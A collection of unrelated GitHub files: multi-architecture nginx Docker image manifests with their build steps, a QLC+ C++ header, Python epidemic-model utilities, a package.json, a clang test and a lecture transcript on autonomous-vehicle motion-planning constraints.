- Total Size: **61.9 MB (61900358 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:704b28231638c75fc972f28cdc89240b408558875aaca54c5be6b74b8905a5b6`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Thu, 10 Sep 2020 00:10:03 GMT
ADD file:dec5e74bd1dacf4dd26507ac5227dfca6591d05d13bdf06c16217b9efff06ed9 in /
# Thu, 10 Sep 2020 00:10:04 GMT
CMD ["bash"]
# Tue, 15 Sep 2020 02:27:52 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Tue, 15 Sep 2020 02:51:20 GMT
ENV NGINX_VERSION=1.18.0
# Tue, 15 Sep 2020 02:51:21 GMT
ENV NJS_VERSION=0.4.2
# Tue, 15 Sep 2020 02:51:21 GMT
ENV PKG_RELEASE=1~buster
# Tue, 15 Sep 2020 03:14:13 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Tue, 15 Sep 2020 03:14:13 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Tue, 15 Sep 2020 03:14:14 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Tue, 15 Sep 2020 03:14:14 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Tue, 15 Sep 2020 03:14:15 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Tue, 15 Sep 2020 03:14:15 GMT
EXPOSE 80
# Tue, 15 Sep 2020 03:14:15 GMT
STOPSIGNAL SIGTERM
# Tue, 15 Sep 2020 03:14:15 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:3e11c32dbce8eae675cead1f63aeade46d661eb3764bff6c26bb8ca6e2c364fb`
Last Modified: Tue, 15 Sep 2020 01:13:19 GMT
Size: 25.8 MB (25762660 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:4032234fc754de747609d56fcd0060d87533eac81789d07af39d39be57c8c827`
Last Modified: Tue, 15 Sep 2020 03:16:49 GMT
Size: 36.1 MB (36135532 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:bd2861c274c34a3fc6b29b3d969622cc427ca49aef5259ae911afc0061fdd6be`
Last Modified: Tue, 15 Sep 2020 03:16:24 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:e076ce7fc28b0c1d6e3a3542213b009ef706a0a402aa499d367a137f31adda74`
Last Modified: Tue, 15 Sep 2020 03:16:23 GMT
Size: 900.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:ea4922cc41715ae11adf45e97aff4a33f0ff1c2999b340033e823b8d79b73a38`
Last Modified: Tue, 15 Sep 2020 03:16:23 GMT
Size: 666.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; ppc64le
```console
$ docker pull nginx@sha256:04d22577a732b2218502b4a6666a6da72d64dedc638bb532052299e9ab06bc69
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **70.0 MB (70046720 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:59f076d1b610ebb46c31a7142ecefcf708794847061d38c2fc18f207df51f0f0`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Thu, 10 Sep 2020 01:06:11 GMT
ADD file:4dede556abae88027bd22f3166fdbc38778a6fcd686c5ce768c3ca024ab3f9cf in /
# Thu, 10 Sep 2020 01:06:20 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 19:45:22 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 20:40:59 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 20:41:04 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 20:41:12 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 21:23:37 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 21:23:45 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 21:23:47 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 21:23:49 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 21:23:53 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 21:24:01 GMT
EXPOSE 80
# Thu, 10 Sep 2020 21:24:07 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 21:24:11 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:f8aef3d2247e5f990bc767bc99f575b9bcec34aaa37183414eebe28fcd09519d`
Last Modified: Thu, 10 Sep 2020 01:28:12 GMT
Size: 30.5 MB (30517880 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:8bbe44502a3d0b476ddec4f3dc177d436f4c78a095f65e5139cf263bfb398c7c`
Last Modified: Thu, 10 Sep 2020 21:26:36 GMT
Size: 39.5 MB (39526670 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:c02e586b4a45cf8d2b28f9b0be37532a1755b83d0a9a67dfbf61e7ab75258c33`
Last Modified: Thu, 10 Sep 2020 21:26:28 GMT
Size: 602.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:56f6d4fafb357002563d77a1d761764c62c0ea8e022d3680809adb35e9eab9a3`
Last Modified: Thu, 10 Sep 2020 21:26:27 GMT
Size: 900.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:730e42ed5cdace3d4c56d5cf70bd59058bae06c81609cdd46195afeb57e83c02`
Last Modified: Thu, 10 Sep 2020 21:26:26 GMT
Size: 668.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
### `nginx:1.18.0-perl` - linux; s390x
```console
$ docker pull nginx@sha256:888a46de1f3a16c16a4ad7dedf1f399dc179bf6ef9003945332451ecb9fa7a20
```
- Docker Version: 18.09.7
- Manifest MIME: `application/vnd.docker.distribution.manifest.v2+json`
- Total Size: **62.9 MB (62906151 bytes)**
(compressed transfer size, not on-disk size)
- Image ID: `sha256:2385c7a325b2362b79dceb0f92bb9779ed3e106f42ada83032940f6efeb07eb2`
- Entrypoint: `["\/docker-entrypoint.sh"]`
- Default Command: `["nginx","-g","daemon off;"]`
```dockerfile
# Wed, 09 Sep 2020 23:42:35 GMT
ADD file:65e860d387f18169ea1783465571eaf0946b51c52e560a06759bbc680752f810 in /
# Wed, 09 Sep 2020 23:42:37 GMT
CMD ["bash"]
# Thu, 10 Sep 2020 03:58:44 GMT
LABEL maintainer=NGINX Docker Maintainers <[email protected]>
# Thu, 10 Sep 2020 04:03:52 GMT
ENV NGINX_VERSION=1.18.0
# Thu, 10 Sep 2020 04:03:53 GMT
ENV NJS_VERSION=0.4.2
# Thu, 10 Sep 2020 04:03:53 GMT
ENV PKG_RELEASE=1~buster
# Thu, 10 Sep 2020 04:08:24 GMT
RUN set -x && addgroup --system --gid 101 nginx && adduser --system --disabled-login --ingroup nginx --no-create-home --home /nonexistent --gecos "nginx user" --shell /bin/false --uid 101 nginx && apt-get update && apt-get install --no-install-recommends --no-install-suggests -y gnupg1 ca-certificates && NGINX_GPGKEY=573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62; found=''; for server in ha.pool.sks-keyservers.net hkp://keyserver.ubuntu.com:80 hkp://p80.pool.sks-keyservers.net:80 pgp.mit.edu ; do echo "Fetching GPG key $NGINX_GPGKEY from $server"; apt-key adv --keyserver "$server" --keyserver-options timeout=10 --recv-keys "$NGINX_GPGKEY" && found=yes && break; done; test -z "$found" && echo >&2 "error: failed to fetch GPG key $NGINX_GPGKEY" && exit 1; apt-get remove --purge --auto-remove -y gnupg1 && rm -rf /var/lib/apt/lists/* && dpkgArch="$(dpkg --print-architecture)" && nginxPackages=" nginx=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-xslt=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-geoip=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-image-filter=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-perl=${NGINX_VERSION}-${PKG_RELEASE} nginx-module-njs=${NGINX_VERSION}.${NJS_VERSION}-${PKG_RELEASE} " && case "$dpkgArch" in amd64|i386) echo "deb https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && apt-get update ;; *) echo "deb-src https://nginx.org/packages/debian/ buster nginx" >> /etc/apt/sources.list.d/nginx.list && tempDir="$(mktemp -d)" && chmod 777 "$tempDir" && savedAptMark="$(apt-mark showmanual)" && apt-get update && apt-get build-dep -y $nginxPackages && ( cd "$tempDir" && DEB_BUILD_OPTIONS="nocheck parallel=$(nproc)" apt-get source --compile $nginxPackages ) && apt-mark showmanual | xargs apt-mark auto > /dev/null && { [ -z "$savedAptMark" ] || apt-mark manual $savedAptMark; } && ls -lAFh "$tempDir" && ( cd "$tempDir" && dpkg-scanpackages . > Packages ) && grep '^Package: ' "$tempDir/Packages" && echo "deb [ trusted=yes ] file://$tempDir ./" > /etc/apt/sources.list.d/temp.list && apt-get -o Acquire::GzipIndexes=false update ;; esac && apt-get install --no-install-recommends --no-install-suggests -y $nginxPackages gettext-base curl && apt-get remove --purge --auto-remove -y && rm -rf /var/lib/apt/lists/* /etc/apt/sources.list.d/nginx.list && if [ -n "$tempDir" ]; then apt-get purge -y --auto-remove && rm -rf "$tempDir" /etc/apt/sources.list.d/temp.list; fi && ln -sf /dev/stdout /var/log/nginx/access.log && ln -sf /dev/stderr /var/log/nginx/error.log && mkdir /docker-entrypoint.d
# Thu, 10 Sep 2020 04:08:26 GMT
COPY file:e7e183879c35719c18aa7f733651029fbcc55f5d8c22a877ae199b389425789e in /
# Thu, 10 Sep 2020 04:08:26 GMT
COPY file:1d0a4127e78a26c11640bbedaeaa28ecafb5c40effef923390c04428192d665a in /docker-entrypoint.d
# Thu, 10 Sep 2020 04:08:26 GMT
COPY file:0fd5fca330dcd6a7de297435e32af634f29f7132ed0550d342cad9fd20158258 in /docker-entrypoint.d
# Thu, 10 Sep 2020 04:08:26 GMT
ENTRYPOINT ["/docker-entrypoint.sh"]
# Thu, 10 Sep 2020 04:08:27 GMT
EXPOSE 80
# Thu, 10 Sep 2020 04:08:27 GMT
STOPSIGNAL SIGTERM
# Thu, 10 Sep 2020 04:08:27 GMT
CMD ["nginx" "-g" "daemon off;"]
```
- Layers:
- `sha256:07e4a6dbced6eed74bdb331987f95c00aa5b46543570b7adc1575121e66102dd`
Last Modified: Wed, 09 Sep 2020 23:46:28 GMT
Size: 25.7 MB (25707597 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:6916c8965fbb238c23975f6756a2a05e0231f3a4e9b83fe9090332dee65c2675`
Last Modified: Thu, 10 Sep 2020 04:09:50 GMT
Size: 37.2 MB (37196387 bytes)
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:d4f3e7b252f5b66ce550ce08bb17b8c7d26553a5ec736e7a2d44a31476525344`
Last Modified: Thu, 10 Sep 2020 04:09:42 GMT
Size: 600.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:b8fa593c1b238dc6d9dc0ea3cd65402e432505b8f5f5a892e12aca276754a975`
Last Modified: Thu, 10 Sep 2020 04:09:42 GMT
Size: 900.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
- `sha256:08c12112548c5a06b68ae72024842b13d7d6bc2261a7c7ac4d47f7a4d33a146d`
Last Modified: Thu, 10 Sep 2020 04:09:41 GMT
Size: 667.0 B
MIME: application/vnd.docker.image.rootfs.diff.tar.gzip
| {
"pile_set_name": "Github"
} |
/*
Q Light Controller Plus
vcframepageshortcut.h
Copyright (c) Lukas Jähn
Massimo Callegari
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0.txt
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef VCFRAMEPAGESHORTCUT_H
#define VCFRAMEPAGESHORTCUT_H
#include <QSharedPointer>
#include <QKeySequence>
#include "qlcinputsource.h"
class QXmlStreamReader;
class QXmlStreamWriter;
/** @addtogroup ui_vc_widgets
* @{
*/
#define KXMLQLCVCFramePageShortcut "Shortcut"
#define KXMLQLCVCFramePageShortcutPage "Page"
#define KXMLQLCVCFramePageShortcutName "Name"
class VCFramePageShortcut
{
public:
explicit VCFramePageShortcut(int pageIndex, quint8 inputID);
/** Destructor */
~VCFramePageShortcut();
QString name() const;
void setName(QString name = QString());
/************************************************************************
* Load & Save
***********************************************************************/
public:
/** Load properties and contents from an XML tree */
bool loadXML(QXmlStreamReader &root);
/** Save properties and contents to an XML document */
bool saveXML(QXmlStreamWriter *doc);
protected:
/** The page name */
QString m_name;
public:
/** The shortcut unique ID */
quint8 m_id;
/** The associated VCFrame page index */
int m_page;
/** Reference to the input source to jump to this page */
QSharedPointer<QLCInputSource> m_inputSource;
/** The key sequence to jump to this page */
QKeySequence m_keySequence;
};
/** @} */
#endif // VCFRAMEPAGESHORTCUT_H
| {
"pile_set_name": "Github"
} |
import numpy
import matplotlib.pyplot as pyplot
def gamma_dist(mean, coeffvar, N):
scale = mean*coeffvar**2
shape = mean/scale
return numpy.random.gamma(scale=scale, shape=shape, size=N)
def dist_info(dists, names=None, plot=False, bin_size=1, colors=None, reverse_plot=False):
dists = [dists] if not isinstance(dists, list) else dists
names = [names] if(names is not None and not isinstance(names, list)) else (names if names is not None else [None]*len(dists))
colors = [colors] if(colors is not None and not isinstance(colors, list)) else (colors if colors is not None else pyplot.rcParams['axes.prop_cycle'].by_key()['color'])
for i, (dist, name) in enumerate(zip(dists, names)):
print((name+": " if name else "")+" mean = %.2f, std = %.2f, 95%% CI = (%.2f, %.2f)" % (numpy.mean(dist), numpy.std(dist), numpy.percentile(dist, 2.5), numpy.percentile(dist, 97.5)))
print()
if(plot):
pyplot.hist(dist, bins=numpy.arange(0, int(max(dist)+1), step=bin_size), label=(name if name else False), color=colors[i], edgecolor='white', alpha=0.6, zorder=(-1*i if reverse_plot else i))
if(plot):
pyplot.ylabel('num nodes')
pyplot.legend(loc='upper right')
pyplot.show()
def network_info(networks, names=None, plot=False, bin_size=1, colors=None, reverse_plot=False):
import networkx
networks = [networks] if not isinstance(networks, list) else networks
names = [names] if not isinstance(names, list) else names
colors = [colors] if(colors is not None and not isinstance(colors, list)) else (colors if colors is not None else pyplot.rcParams['axes.prop_cycle'].by_key()['color'])
for i, (network, name) in enumerate(zip(networks, names)):
degree = [d[1] for d in network.degree()]
if(name):
print(name+":")
print("Degree: mean = %.2f, std = %.2f, 95%% CI = (%.2f, %.2f)\n coeff var = %.2f"
% (numpy.mean(degree), numpy.std(degree), numpy.percentile(degree, 2.5), numpy.percentile(degree, 97.5),
numpy.std(degree)/numpy.mean(degree)))
r = networkx.degree_assortativity_coefficient(network)
print("Assortativity: %.2f" % (r))
c = networkx.average_clustering(network)
print("Clustering coeff: %.2f" % (c))
print()
if(plot):
pyplot.hist(degree, bins=numpy.arange(0, int(max(degree)+1), step=bin_size), label=(name+" degree" if name else False), color=colors[i], edgecolor='white', alpha=0.6, zorder=(-1*i if reverse_plot else i))
if(plot):
pyplot.ylabel('num nodes')
pyplot.legend(loc='upper right')
pyplot.show()
def results_summary(model):
print("total percent infected: %0.2f%%" % ((model.total_num_infected()[-1]+model.total_num_recovered()[-1])/model.numNodes * 100) )
print("total percent fatality: %0.2f%%" % (model.numF[-1]/model.numNodes * 100) )
print("peak pct hospitalized: %0.2f%%" % (numpy.max(model.numH)/model.numNodes * 100) ) | {
"pile_set_name": "Github"
} |
{
"name": "linked",
"version": "1.1.1",
"description": "build/bindings (see tootallnate/bindings)",
"main": "index.js",
"dependencies": {
"release": "1.1.1"
}
}
| {
"pile_set_name": "Github"
} |
// RUN: %clang_cc1 -fsyntax-only -verify %s
namespace DeduceVsMember {
template<typename T>
struct X {
template<typename U>
int &operator==(const U& other) const;
};
template<typename T, typename U>
float &operator==(const T&, const X<U>&);
void test(X<int> xi, X<float> xf) {
float& ir = (xi == xf);
}
}
| {
"pile_set_name": "Github"
} |
Welcome back. In this video, we'll discuss some of
the most important constraints involved in motion planning. These constraints are often
crucial for maintaining stability and comfort
within the vehicle, as well as maintaining
the safety of all agents in
a given driving scenario. Specifically, you will
learn about how the vehicle kinematic and dynamic models constrain our motion
planning for the vehicle. You will learn about how static and dynamic obstacles impact our vehicle
motion planning. Finally, you will see how regulatory elements
impact the behaviors available to us during the motion planning process.
Let's get started. The first of the motion
planning constraints we will work with is related to
the vehicle kinematics. In motion planning for
autonomous driving, as we have discussed
in course one, the kinematics for
the ego vehicle are often simplified to what is known as the kinematic bicycle model. One reason why this model is
chosen is that bicycles have a range of acceptable
steering angle values similar to a car. For a fixed velocity V, this range of steering
angle values and delta corresponds to a range
of admissible curvatures, kappa that the vehicle
can follow. This means that when performing motion planning while
using the bicycle model, there is a maximum magnitude
of curvature that can be executed when
traversing a given path denoted by kappa max. The same holds for
autonomous cars. This means that
the curvature of any path we plan needs to be mindful
of this maximum curvature. Unfortunately, this
is what's known as a non-holonomic constraint. Intuitively, this means
that the constraint doesn't depend on
the only the state of the robot, but also on how the robot
got to its current state. Non-holonomic constraints
reduce the number of directions a robot can take at any given point
in its workspace. In general, non-holonomic
constraints make the planning problem
much more complex. Now you may be wondering
how does curvature impact the shape of a given path
in our motion plan. To give you an
intuitive understanding of what curvature is, here we have an arbitrary curve. For each point along the path, we can fit a circle to
that point based on the instantaneous rates
of change of the curve in space at
that particular point. This is analogous to the idea of the instantaneous center of rotation we use to derive the bicycle model
in the first place. Based on the shape of the plot, it appears different points
are more curvy than others. So, our intuition should
be the different points along the curve will have
different curvatures. For example, here we have a circle fit to a particular
point on the curve. As you can see, it has
quite a large radius r, and intuitive interpretation of the curvature is that it's the inverse of
the radius of the circle fit to that particular point
along the curve. Since this radius is quite large, this point has
relatively low curvature, which can be seen from the plot as the point has
a more gentle bent. If instead we look at
a second point on this curve, we can see that it has a smaller radius as it compared
to the previous point. This in turn corresponds
to a point of higher curvature and can
be seen from the plot, this point has much more aggressive bend than
the previous point. While this circle
fitting approach is useful as a geometric
interpretation, a more precise
mathematical formulation is given here for the curvature. It can be computed using the first and second
order derivatives of the x and y components of a given path defined with
respect to arc length. These arc length derivatives
are given by x prime, y prime, x double prime, and y double prime. The next constraint
will be discussing is derived from
the vehicle dynamics. These dynamic
constraints focus on keeping the car in
a stable safe state. The first of the
dynamics constraints is imposed by what is called the friction ellipse of the car. If you recall, we
discussed tire slip and the friction ellipse in our bicycle model during course one. The friction ellipse denotes
the maximum magnitude of the friction forces that can be generated between
a car tire and the road. If the applied forces of the car's engine exceed
the friction forces of the tire, the tires will slip
on the road surface. The turning functionality
of a vehicle relies on the tires
gripping the road surface. So to maintain control
and stability, the car must remain within
the friction circle. At the end of the day, this boils down to lateral and longitudinal
acceleration constraints. In general, though the acceleration constraints
are often much higher than what is physically comfortable for the passengers
inside the car. Therefore, in non-emergency
situations we often focus on the comfort rectangle
of accelerations. These values constrain, the lateral and
longitudinal accelerations to each lie within
a range of comfort, denoted on the
longitudinal acceleration along and lateral
acceleration alat axis. This is shown here, where the comfort
rectangle in blue lies well within the friction
ellipse shown in green. This results in
a tighter constraint on the feasible accelerations for a motion plan than
the friction ellipse requires. From the lateral
acceleration constraints, as well as the curvature
of the path, we have now indirectly constrained the
velocity of the car. The velocity of the car V
is a function of the lateral acceleration
of the car alat, as well as the instantaneous
turning radius of the path r. Recall that the instantaneous curvature along the path kappa is the inverse of the turning
radius of the car. If we now combine
these equations, we can see that the square
of the velocity is constrained by the
maximum lateral acceleration, alat max which is a constant, as well as the curvature
of the path kappa, which changes at
each point along the path. Because of this, it's clear
that when we are generating a velocity profile for
our autonomous vehicle, we have to take the curvature
of the path as well as the vehicles maximum
lateral acceleration into consideration. Static obstacles also provide constraints upon
our path planning process. Since static obstacles
such as a parked car or a construction pylon have fixed positions that do not
change with time, they are often modeled
by blocking out certain portions of
the ego vehicles workspace. This concept will be covered in greater detail in module
two of this course, where we discuss
the occupancy grid map. Essentially, static
obstacles constrain the locations that a car
can occupy along its path. There are numerous ways to perform static
collision checking. One way is to check the swath of the vehicle as it travels
along a given path. This swath is the union of all positions occupied by
the body of the ego vehicle, as the ego vehicle
traverses the path. If the swath overlaps
with a static obstacle, that path is infeasible. Another option for
fast collision checking is to approximate the body of
the car with a set of circles, and calculate
the circle locations as the car moves along its path. If a static obstacle lies
within any of the circles, then the path is
deemed infeasible. The union of these circles is often larger than
the body of the vehicle, ensuring a conservative
approximation. We'll be discussing this in more detail in future lessons. Dynamic obstacles on
the other hand provides some of the most challenging constraints on the motion planning problem. Different classes of
dynamic obstacles such as cars, bicycles, and pedestrians will all have different behaviors
and motion models. Constraining our motion plan
based on the behavior of these other agents will
often involve prediction, which is subject to uncertainty. However, if we take
the conservative approach and constrain ourselves to all possible behaviors
of all agents, our motion planning problem
quickly becomes over-constrained and impossible
to solve meaningfully. The degree to which we
balance between the safety of conservatism and
the aggressiveness required for forward progress, is an active area of
autonomous driving research. As a simple example, a case where dynamic
obstacles will constrain our motion will
be at an intersection. If two cars are entering the intersection
orthogonal to one another, then we have a potential
crash scenario. One way to check for whether
a collision will occur, is to track the angle formed by the ego
vehicles direction of travel and the vector from the ego vehicles location to
the other agent's location. If this angle is unchanging
as time progresses, then the ego vehicle will
collide with the other agent, and our motion planner
will need to decelerate to prevent this. Therefore, the dynamic
obstacle forces us to modify our behavior based on how the obstacle proceeds
in our driving scenario. Another example which we discussed in
the previous lesson was when a leading vehicle is present in front of
the ego vehicle. This leading vehicle
places an upper constraint on the ego vehicles
longitudinal velocity, for if we exceed
their speed while remaining in the same lane we
will eventually crash. As you can see,
dynamic obstacles will constrain both our
behavior planning process, where we make maneuver decisions, as well as our local
planning process, where it will affect
our velocity profile planning. We will be discussing this in further detail in
subsequent modules. The final constraint that we will discuss encompasses
the rules of the road as well as the
regulatory elements present in the ego
vehicles workspace. While the rules of
the road provides some constraints to
the planning problem, they also help us make informed decisions
about other agents behaviors in the environment. For example, oncoming traffic is highly
likely to stay in its lane, and not try to collide with
our ego vehicle head on. This can help reduce
the search space when trying to predict
what other agents will do. One of the most common
constraints imposed by the rules of the road are
the lane constraints. The lane constraints simply put, are there to prevent
our motion plan from leaving the ego vehicles current lane unless
it is legal to do so. Lane constraints also
inform the ego vehicle where it is safe to perform
turning maneuvers as well. There are other soft rules of the road that we need
to respect as well, such as maintaining
a time gap between the ego vehicle and
leading vehicles in our lane. The time gap is the amount
of time that it would take for
the ego vehicle to reach the leading vehicles
current position while traveling at
the ego vehicle's current speed. Maintaining a sizable
time gap helps ensure safety during
motion planning, by giving the ego vehicle ample reaction time to
events in the workspace. The regulatory elements
in the workspace will also impact
our driving behavior. The ego vehicle clearly
needs to respect red lights and stop
signs to ensure safety, but also needs to be
aware of speed limits in different areas and other
dynamic regulatory elements, such as those presented
by construction sites. In general, regulatory elements will have a large impact on which behaviors are
available to us when performing motion planning, and will be discussed in
further detail in module five. Now that we've discussed many of the autonomous driving
motion planning constraints, let's summarize what
we've learned so far. In this video, we first
reviewed our bicycle model, and looked at how the models
kinematics and dynamics, as well as the path curvature constrain our motion
planning problem. Next, we looked at
how static obstacles limit the locations
our car can safely occupy, which restricts our feasible
motion planning workspace, as well as how dynamic
obstacles impact the maneuvers available to the ego vehicle
and its velocity profile. Finally, we discussed the role of regulatory elements and how they affect
our driving behaviors. Hopefully, this lesson has given you some insight into some of the constraints of
the motion planning problem for autonomous driving. In our next video, we'll dive into some of
the optimization objectives used for solving the motion planning problem.
See you there. | {
"pile_set_name": "Github"
} |
